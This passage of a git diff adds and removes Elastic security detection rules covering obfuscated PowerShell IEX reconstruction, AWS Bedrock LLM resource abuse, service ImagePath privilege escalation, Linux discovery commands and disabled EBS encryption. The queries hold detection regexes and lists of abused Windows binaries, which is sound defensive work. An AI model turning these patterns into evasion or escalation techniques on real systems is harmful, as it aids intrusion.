Hubs", + "Use Case: Denial of Service", + "Mitre Atlas: T0029", + "Resources: Investigation Guide" + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 4 + }, + "id": "b0450411-46e5-46d2-9b35-8b5dd9ba763e_4", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/b0c98cfb-0745-4513-b6f9-08dddb033490_5.json b/packages/security_detection_engine/kibana/security_rule/b0c98cfb-0745-4513-b6f9-08dddb033490_5.json new file mode 100644 index 00000000000..1cd13461b98 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/b0c98cfb-0745-4513-b6f9-08dddb033490_5.json @@ -0,0 +1,148 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies PowerShell scripts that reconstruct the IEX (Invoke-Expression) command at runtime using indexed slices of environment variables. This technique leverages character access and join operations to build execution logic dynamically, bypassing static keyword detection and evading defenses such as AMSI.", + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential Dynamic IEX Reconstruction via Environment Variables", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Dynamic IEX Reconstruction via Environment Variables\n\nPowerShell's Invoke-Expression (IEX) command is a powerful tool for executing strings as code, often exploited by attackers to run obfuscated scripts. Adversaries may dynamically reconstruct IEX using environment variables to evade static detection. The detection rule identifies scripts that manipulate environment variables to form IEX commands, focusing on patterns of character slicing and joining, which are indicative of obfuscation techniques. By analyzing script length and specific patterns, the rule effectively flags potential misuse, aiding in defense against such evasion tactics.\n\n### Possible investigation steps\n\n- Review the powershell.file.script_block_text field to understand the content and intent of the script, focusing on how environment variables are manipulated to reconstruct the IEX command.\n- Examine the file.path and host.name fields to determine the origin and location of the script execution, which can provide context on whether the activity is expected or suspicious.\n- Analyze the user.id and agent.id fields to identify the user and agent responsible for executing the script, checking for any anomalies or unauthorized access.\n- Investigate the powershell.file.script_block_id and powershell.sequence fields to trace the execution sequence and correlate it with other related PowerShell activities on the host.\n- Assess the count field to understand the extent of obfuscation patterns detected, which can indicate the complexity and potential maliciousness of the script.\n\n### False positive analysis\n\n- Scripts with legitimate use of environment variables for configuration management may trigger the rule. Users can create exceptions for specific scripts or processes known to use environment variables in a non-threatening manner.\n- Automated scripts that dynamically construct commands for legitimate administrative tasks might be flagged. Review the script's purpose and source, and whitelist trusted scripts or processes.\n- Development environments where scripts are frequently tested and modified may produce false positives. Implement monitoring exclusions for development machines or specific user accounts involved in script testing.\n- Scripts using environment variables for localization or language settings can be mistakenly identified. Identify and exclude scripts that are part of standard localization processes.\n- PowerShell scripts from trusted vendors or software packages that use environment variables for legitimate functionality should be reviewed and excluded from detection if verified as safe.\n\n### Response and remediation\n\n- Isolate the affected system from the network to prevent further execution of potentially malicious scripts and limit lateral movement.\n- Terminate any suspicious PowerShell processes identified by the alert to stop ongoing malicious activity.\n- Review the PowerShell script block text and associated file paths to understand the scope and intent of the script, focusing on any obfuscated commands or environment variable manipulations.\n- Restore the system from a known good backup if malicious activity is confirmed and system integrity is compromised.\n- Update endpoint protection and intrusion detection systems to recognize and block similar obfuscation patterns in PowerShell scripts.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.\n- Implement additional monitoring for unusual PowerShell activity and environment variable manipulations to enhance detection of similar threats in the future.\n", + "query": "from logs-windows.powershell_operational* metadata _id, _version, _index\n| where event.code == \"4104\"\n\n// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for\n| eval Esql.script_block_length = length(powershell.file.script_block_text)\n| where Esql.script_block_length > 500\n\n// replace the patterns we are looking for with the \ud83d\udd25 emoji to enable counting them\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| eval Esql.script_block_tmp = replace(\n powershell.file.script_block_text,\n \"\"\"(?i)(\\$(?:\\w+|\\w+\\:\\w+)\\[\\d++\\]\\+\\$(?:\\w+|\\w+\\:\\w+)\\[\\d++\\]\\+['\"]x['\"]|\\$(?:\\w+\\:\\w+)\\[\\d++,\\d++,\\d++\\]|\\.name\\[\\d++,\\d++,\\d++\\])\"\"\",\n \"\ud83d\udd25\"\n)\n\n// count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, \"\ud83d\udd25\", \"\"))\n\n// keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| keep\n Esql.script_block_pattern_count,\n Esql.script_block_length,\n Esql.script_block_tmp,\n powershell.file.script_block_text,\n powershell.file.script_block_id,\n file.path,\n powershell.sequence,\n powershell.total,\n _id,\n _index,\n host.name,\n agent.id,\n user.id\n\n// Filter for scripts that match the pattern at least once\n| where Esql.script_block_pattern_count >= 1\n", + "related_integrations": [ + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.script_block_length", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_pattern_count", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_tmp", + "type": "keyword" + }, + { + "ecs": false, + "name": "_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "_index", + "type": "keyword" + }, + { + "ecs": true, + "name": "agent.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.path", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_text", + "type": "text" + }, + { + "ecs": false, + "name": "powershell.sequence", + "type": "long" + }, + { + "ecs": false, + "name": "powershell.total", + "type": "long" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "b0c98cfb-0745-4513-b6f9-08dddb033490", + "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Data Source: PowerShell Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1027", + "name": "Obfuscated Files or Information", + "reference": "https://attack.mitre.org/techniques/T1027/" + }, + { + "id": "T1140", + "name": "Deobfuscate/Decode Files or Information", + "reference": "https://attack.mitre.org/techniques/T1140/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.001", + "name": "PowerShell", + "reference": "https://attack.mitre.org/techniques/T1059/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 5 + }, + "id": "b0c98cfb-0745-4513-b6f9-08dddb033490_5", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/b1773d05-f349-45fb-9850-287b8f92f02d_6.json b/packages/security_detection_engine/kibana/security_rule/b1773d05-f349-45fb-9850-287b8f92f02d_6.json new file mode 100644 index 00000000000..a1caa8a0c6e --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/b1773d05-f349-45fb-9850-287b8f92f02d_6.json @@ -0,0 +1,75 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects potential resource exhaustion or data breach attempts by monitoring for users who consistently generate high input token counts, submit numerous requests, and receive large responses. This behavior could indicate an attempt to overload the system or extract an unusually large amount of data, possibly revealing sensitive information or causing service disruptions.", + "false_positives": [ + "Authorized heavy usage of the system that is business justified and monitored." + ], + "from": "now-60m", + "interval": "10m", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential Abuse of Resources by High Token Count and Large Response Sizes", + "note": "## Triage and analysis\n\n### Investigating Potential Abuse of Resources by High Token Count and Large Response Sizes\n\nAmazon Bedrock is AWS\u2019s managed service that enables developers to build and scale generative AI applications using large foundation models (FMs) from top providers.\n\nBedrock offers a variety of pretrained models from Amazon (such as the Titan series), as well as models from providers like Anthropic, Meta, Cohere, and AI21 Labs.\n\n#### Possible investigation steps\n\n- Identify the user account that used high prompt token counts and whether it should perform this kind of action.\n- Investigate large response sizes and the number of requests made by the user account.\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day?\n- Examine the account's prompts and responses in the last 24 hours.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours.\n\n### False positive analysis\n\n- Verify the user account that used high prompt and large response sizes, has a business justification for the heavy usage of the system.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services.\n - Identify any regulatory or legal ramifications related to this activity.\n - Identify potential resource exhaustion and impact on billing.\n- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "from logs-aws_bedrock.invocation-*\n\n// keep token usage data\n| keep\n user.id,\n gen_ai.usage.prompt_tokens,\n gen_ai.usage.completion_tokens\n\n// Aggregate usage metrics\n| stats\n Esql.ml_usage_prompt_tokens_max = max(gen_ai.usage.prompt_tokens),\n Esql.ml_invocations_total_count = count(*),\n Esql.ml_usage_completion_tokens_avg = avg(gen_ai.usage.completion_tokens)\n by\n user.id\n\n// Filter for suspicious usage patterns\n| where\n Esql.ml_usage_prompt_tokens_max > 5000\n and Esql.ml_invocations_total_count > 10\n and Esql.ml_usage_completion_tokens_avg > 500\n\n// Calculate a custom risk factor\n| eval Esql.ml_risk_score =\n (Esql.ml_usage_prompt_tokens_max / 1000) *\n Esql.ml_invocations_total_count *\n (Esql.ml_usage_completion_tokens_avg / 500)\n\n// Filter on risk score\n| where Esql.ml_risk_score > 10\n\n// sort high risk users to top\n| sort Esql.ml_risk_score desc\n", + "references": [ + "https://atlas.mitre.org/techniques/AML.T0051", + "https://owasp.org/www-project-top-10-for-large-language-model-applications/", + "https://www.elastic.co/security-labs/elastic-advances-llm-security" + ], + "related_integrations": [ + { + "package": "aws_bedrock", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.ml_invocations_total_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.ml_risk_score", + "type": "double" + }, + { + "ecs": false, + "name": "Esql.ml_usage_completion_tokens_avg", + "type": "double" + }, + { + "ecs": false, + "name": "Esql.ml_usage_prompt_tokens_max", + "type": "integer" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "b1773d05-f349-45fb-9850-287b8f92f02d", + "setup": "## Setup\n\nThis rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation:\n\nhttps://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html\n", + "severity": "medium", + "tags": [ + "Domain: LLM", + "Data Source: AWS Bedrock", + "Data Source: Amazon Web Services", + "Data Source: AWS S3", + "Use Case: Potential Overload", + "Use Case: Resource Exhaustion", + "Mitre Atlas: LLM04", + "Resources: Investigation Guide" + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 6 + }, + "id": "b1773d05-f349-45fb-9850-287b8f92f02d_6", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/b66b7e2b-d50a-49b9-a6fc-3a383baedc6b_104.json b/packages/security_detection_engine/kibana/security_rule/b66b7e2b-d50a-49b9-a6fc-3a383baedc6b_104.json deleted file mode 100644 index 72cc138dfb0..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/b66b7e2b-d50a-49b9-a6fc-3a383baedc6b_104.json +++ /dev/null @@ -1,145 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies registry modifications to default services that could enable privilege escalation to SYSTEM. Attackers with privileges from groups like Server Operators may change the ImagePath of services to executables under their control or to execute commands.", - "from": "now-9m", - "index": [ - "logs-endpoint.events.registry-*", - "logs-windows.sysmon_operational-*", - "winlogbeat-*" - ], - "language": "eql", - "license": "Elastic License v2", - "name": "Potential Privilege Escalation via Service ImagePath Modification", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Privilege Escalation via Service ImagePath Modification\n\nWindows services are crucial for system operations, often running with high privileges. Adversaries exploit this by altering the ImagePath registry key of services to execute malicious code with elevated privileges. The detection rule identifies suspicious modifications to service ImagePaths, focusing on changes that deviate from standard executable paths, thus flagging potential privilege escalation attempts.\n\n### Possible investigation steps\n\n- Review the specific registry key and value that triggered the alert to confirm it matches one of the monitored service keys, such as those listed in the query (e.g., *\\LanmanServer, *\\Winmgmt).\n- Examine the modified ImagePath value to determine if it points to a non-standard executable path or a suspicious executable, especially those not located in %systemroot%\\system32\\.\n- Check the process.executable field to identify the process responsible for the registry modification and assess its legitimacy.\n- Investigate the user account associated with the modification event to determine if it has elevated privileges, such as membership in the Server Operators group.\n- Correlate the event with other logs or alerts to identify any related suspicious activities, such as unexpected service starts or process executions.\n- Review recent changes or activities on the host to identify any unauthorized access or configuration changes that could indicate a broader compromise.\n\n### False positive analysis\n\n- Legitimate software updates or installations may modify service ImagePaths. Users can create exceptions for known update processes or installation paths to prevent false positives.\n- System administrators might intentionally change service configurations for maintenance or troubleshooting. Document and exclude these changes by adding exceptions for specific administrator actions or paths.\n- Custom scripts or automation tools that modify service settings as part of their operation can trigger alerts. Identify and whitelist these scripts or tools to avoid unnecessary alerts.\n- Some third-party security or management software may alter service ImagePaths as part of their functionality. Verify the legitimacy of such software and exclude their known paths from detection.\n- Changes made by trusted IT personnel during system configuration or optimization should be logged and excluded from alerts to reduce noise.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement.\n- Terminate any suspicious processes identified as running from non-standard executable paths, especially those not originating from the system32 directory.\n- Restore the modified ImagePath registry key to its original state using a known good configuration or backup.\n- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or persistence mechanisms.\n- Review and audit user accounts and group memberships, particularly those with elevated privileges like Server Operators, to ensure no unauthorized changes have been made.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.\n- Implement enhanced monitoring and alerting for future modifications to service ImagePath registry keys, focusing on deviations from standard paths to detect similar threats promptly.", - "query": "registry where host.os.type == \"windows\" and event.type == \"change\" and process.executable != null and\n event.action == \"modification\" and registry.value == \"ImagePath\" and\n registry.key : (\n \"*\\\\ADWS\", \"*\\\\AppHostSvc\", \"*\\\\AppReadiness\", \"*\\\\AudioEndpointBuilder\", \"*\\\\AxInstSV\", \"*\\\\camsvc\", \"*\\\\CertSvc\",\n \"*\\\\COMSysApp\", \"*\\\\CscService\", \"*\\\\defragsvc\", \"*\\\\DeviceAssociationService\", \"*\\\\DeviceInstall\", \"*\\\\DevQueryBroker\",\n \"*\\\\Dfs\", \"*\\\\DFSR\", \"*\\\\diagnosticshub.standardcollector.service\", \"*\\\\DiagTrack\", \"*\\\\DmEnrollmentSvc\", \"*\\\\DNS\",\n \"*\\\\dot3svc\", \"*\\\\Eaphost\", \"*\\\\GraphicsPerfSvc\", \"*\\\\hidserv\", \"*\\\\HvHost\", \"*\\\\IISADMIN\", \"*\\\\IKEEXT\",\n \"*\\\\InstallService\", \"*\\\\iphlpsvc\", \"*\\\\IsmServ\", \"*\\\\LanmanServer\", \"*\\\\MSiSCSI\", \"*\\\\NcbService\", \"*\\\\Netlogon\",\n \"*\\\\Netman\", \"*\\\\NtFrs\", \"*\\\\PlugPlay\", \"*\\\\Power\", \"*\\\\PrintNotify\", \"*\\\\ProfSvc\", \"*\\\\PushToInstall\", \"*\\\\RSoPProv\",\n \"*\\\\sacsvr\", \"*\\\\SENS\", \"*\\\\SensorDataService\", \"*\\\\SgrmBroker\", \"*\\\\ShellHWDetection\", \"*\\\\shpamsvc\", \"*\\\\StorSvc\",\n \"*\\\\svsvc\", \"*\\\\swprv\", \"*\\\\SysMain\", \"*\\\\Themes\", \"*\\\\TieringEngineService\", \"*\\\\TokenBroker\", \"*\\\\TrkWks\",\n \"*\\\\UALSVC\", \"*\\\\UserManager\", \"*\\\\vm3dservice\", \"*\\\\vmicguestinterface\", \"*\\\\vmicheartbeat\", \"*\\\\vmickvpexchange\",\n \"*\\\\vmicrdv\", \"*\\\\vmicshutdown\", \"*\\\\vmicvmsession\", \"*\\\\vmicvss\", \"*\\\\vmvss\", \"*\\\\VSS\", \"*\\\\w3logsvc\", \"*\\\\W3SVC\",\n \"*\\\\WalletService\", \"*\\\\WAS\", \"*\\\\wercplsupport\", \"*\\\\WerSvc\", \"*\\\\Winmgmt\", \"*\\\\wisvc\", \"*\\\\wmiApSrv\",\n \"*\\\\WPDBusEnum\", \"*\\\\WSearch\"\n ) and\n not (\n registry.data.strings : (\n \"?:\\\\Windows\\\\system32\\\\*.exe\",\n \"%systemroot%\\\\system32\\\\*.exe\",\n \"%windir%\\\\system32\\\\*.exe\",\n \"%SystemRoot%\\\\system32\\\\svchost.exe -k *\",\n \"%windir%\\\\system32\\\\svchost.exe -k *\"\n ) and\n not registry.data.strings : (\n \"*\\\\cmd.exe\",\n \"*\\\\cscript.exe\",\n \"*\\\\ieexec.exe\",\n \"*\\\\iexpress.exe\",\n \"*\\\\installutil.exe\",\n \"*\\\\Microsoft.Workflow.Compiler.exe\",\n \"*\\\\msbuild.exe\",\n \"*\\\\mshta.exe\",\n \"*\\\\msiexec.exe\",\n \"*\\\\msxsl.exe\",\n \"*\\\\net.exe\",\n \"*\\\\powershell.exe\",\n \"*\\\\pwsh.exe\",\n \"*\\\\reg.exe\",\n \"*\\\\RegAsm.exe\",\n \"*\\\\RegSvcs.exe\",\n \"*\\\\regsvr32.exe\",\n \"*\\\\rundll32.exe\",\n \"*\\\\vssadmin.exe\",\n \"*\\\\wbadmin.exe\",\n \"*\\\\wmic.exe\",\n \"*\\\\wscript.exe\"\n )\n )\n", - "references": [ - "https://cube0x0.github.io/Pocing-Beyond-DA/" - ], - "related_integrations": [ - { - "package": "endpoint", - "version": "^9.0.0" - }, - { - "package": "windows", - "version": "^2.5.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.executable", - "type": "keyword" - }, - { - "ecs": true, - "name": "registry.data.strings", - "type": "wildcard" - }, - { - "ecs": true, - "name": "registry.key", - "type": "keyword" - }, - { - "ecs": true, - "name": "registry.value", - "type": "keyword" - } - ], - "risk_score": 47, - "rule_id": "b66b7e2b-d50a-49b9-a6fc-3a383baedc6b", - "severity": "medium", - "tags": [ - "Domain: Endpoint", - "OS: Windows", - "Use Case: Threat Detection", - "Tactic: Execution", - "Tactic: Privilege Escalation", - "Data Source: Elastic Defend", - "Data Source: Sysmon", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0004", - "name": "Privilege Escalation", - "reference": "https://attack.mitre.org/tactics/TA0004/" - }, - "technique": [ - { - "id": "T1543", - "name": "Create or Modify System Process", - "reference": "https://attack.mitre.org/techniques/T1543/", - "subtechnique": [ - { - "id": "T1543.003", - "name": "Windows Service", - "reference": "https://attack.mitre.org/techniques/T1543/003/" - } - ] - }, - { - "id": "T1574", - "name": "Hijack Execution Flow", - "reference": "https://attack.mitre.org/techniques/T1574/", - "subtechnique": [ - { - "id": "T1574.011", - "name": "Services Registry Permissions Weakness", - "reference": "https://attack.mitre.org/techniques/T1574/011/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1569", - "name": "System Services", - "reference": "https://attack.mitre.org/techniques/T1569/", - "subtechnique": [ - { - "id": "T1569.002", - "name": "Service Execution", - "reference": "https://attack.mitre.org/techniques/T1569/002/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "eql", - "version": 104 - }, - "id": "b66b7e2b-d50a-49b9-a6fc-3a383baedc6b_104", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/b81bd314-db5b-4d97-82e8-88e3e5fc9de5_6.json b/packages/security_detection_engine/kibana/security_rule/b81bd314-db5b-4d97-82e8-88e3e5fc9de5_6.json new file mode 100644 index 00000000000..96569080359 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/b81bd314-db5b-4d97-82e8-88e3e5fc9de5_6.json @@ -0,0 +1,94 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "building_block_type": "default", + "description": "Enrich process events with uname and other command lines that imply Linux system information discovery.", + "from": "now-119m", + "index": [ + "logs-endpoint.events.*", + "endgame-*", + "auditbeat-*", + "logs-auditd_manager.auditd-*", + "logs-crowdstrike.fdr*" + ], + "interval": "60m", + "language": "eql", + "license": "Elastic License v2", + "name": "Linux System Information Discovery", + "query": "process where event.type == \"start\" and event.action in (\"exec\", \"exec_event\", \"executed\", \"process_started\", \"ProcessRollup2\") and (\n process.name: \"uname\" or (\n process.name: (\"cat\", \"more\", \"less\") and process.args: (\"*issue*\", \"*version*\", \"*profile*\", \"*services*\", \"*cpuinfo*\")\n )\n)\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "auditd_manager", + "version": "^1.0.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "b81bd314-db5b-4d97-82e8-88e3e5fc9de5", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Discovery", + "Rule Type: BBR", + "Data Source: Elastic Defend", + "Data Source: Elastic Endgame", + "Data Source: Auditd Manager", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0007", + "name": "Discovery", + "reference": "https://attack.mitre.org/tactics/TA0007/" + }, + "technique": [ + { + "id": "T1082", + "name": "System Information Discovery", + "reference": "https://attack.mitre.org/techniques/T1082/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 6 + }, + "id": "b81bd314-db5b-4d97-82e8-88e3e5fc9de5_6", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/b92d5eae-70bb-4b66-be27-f98ba9d0ccdc_5.json b/packages/security_detection_engine/kibana/security_rule/b92d5eae-70bb-4b66-be27-f98ba9d0ccdc_5.json new file mode 100644 index 00000000000..2fb1e1e0425 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/b92d5eae-70bb-4b66-be27-f98ba9d0ccdc_5.json @@ -0,0 +1,99 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "building_block_type": "default", + "description": "Identifies the execution of Linux built-in commands related to account or group enumeration. Adversaries may use account and group information to orient themselves before deciding how to act.", + "from": "now-119m", + "index": [ + "logs-endpoint.events.*", + "endgame-*", + "auditbeat-*", + "logs-auditd_manager.auditd-*", + "logs-crowdstrike.fdr*" + ], + "interval": "60m", + "language": "eql", + "license": "Elastic License v2", + "name": "Discovery of Domain Groups", + "query": "process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"exec_event\", \"executed\", \"process_started\", \"ProcessRollup2\")\n and (\n process.name in (\"ldapsearch\", \"dscacheutil\") or (process.name == \"dscl\" and process.args : \"*-list*\")\n)\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "auditd_manager", + "version": "^1.0.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "b92d5eae-70bb-4b66-be27-f98ba9d0ccdc", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Discovery", + "Rule Type: BBR", + "Data Source: Elastic Defend", + "Data Source: Elastic Endgame", + "Data Source: Auditd Manager", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0007", + "name": "Discovery", + "reference": "https://attack.mitre.org/tactics/TA0007/" + }, + "technique": [ + { + "id": "T1069", + "name": "Permission Groups Discovery", + "reference": "https://attack.mitre.org/techniques/T1069/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 5 + }, + "id": "b92d5eae-70bb-4b66-be27-f98ba9d0ccdc_5", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/bb9b13b2-1700-48a8-a750-b43b0a72ab69_210.json b/packages/security_detection_engine/kibana/security_rule/bb9b13b2-1700-48a8-a750-b43b0a72ab69_210.json new file mode 100644 index 00000000000..10eb586ef47 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/bb9b13b2-1700-48a8-a750-b43b0a72ab69_210.json @@ -0,0 +1,111 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects when Amazon Elastic Block Store (EBS) encryption by default is disabled in an AWS region. EBS encryption ensures that newly created volumes and snapshots are automatically protected with AWS Key Management Service (KMS) keys. Disabling this setting introduces significant risk as all future volumes created in that region will be unencrypted by default, potentially exposing sensitive data at rest. Adversaries may disable encryption to weaken data protection before exfiltrating or tampering with EBS volumes or snapshots. This may be a step in preparation for data theft or ransomware-style attacks that depend on unencrypted volumes.", + "false_positives": [ + "Disabling encryption may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Disabling encryption by unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.response_elements" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS EC2 Encryption Disabled", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS EC2 Encryption Disabled\n\nAmazon Elastic Block Store (EBS) encryption ensures that all new EBS volumes and snapshots are encrypted at rest using AWS KMS keys. \nWhen encryption by default is disabled, new EBS volumes in the region will no longer inherit automatic encryption. \nThis action can have serious security implications as it can weaken the organization\u2019s data protection posture, violate compliance requirements, or enable adversaries to read or exfiltrate sensitive information without triggering encryption-based access controls.\n\n#### Possible investigation steps\n\n**Identify the initiator and context**\n- Review the `aws.cloudtrail.user_identity` fields to determine who or what performed the `DisableEbsEncryptionByDefault` action. \n - Examine the `user_identity.type` (e.g., IAMUser, AssumedRole, Root, FederatedUser). \n - Validate whether the actor is authorized to modify account-level encryption defaults.\n- Check `source.ip` and `user_agent.original` to identify the origin of the request and whether it came from a known administrative system, automation process, or an unfamiliar host.\n- Correlate with recent IAM activity such as `AttachUserPolicy`, `UpdateAccountPasswordPolicy`, or `PutAccountSetting` to identify potential privilege escalation or account misuse.\n**Review the timing and scope**\n- Compare the event `@timestamp` with other CloudTrail management events to determine if the encryption change occurred alongside other administrative modifications. \n- Investigate if similar actions were executed in other AWS regions, disabling encryption regionally may be part of a broader campaign.\n- Review AWS Config or Security Hub findings to determine whether compliance controls or data protection standards (e.g., CIS, PCI-DSS, ISO 27001) have been violated.\n**Assess data 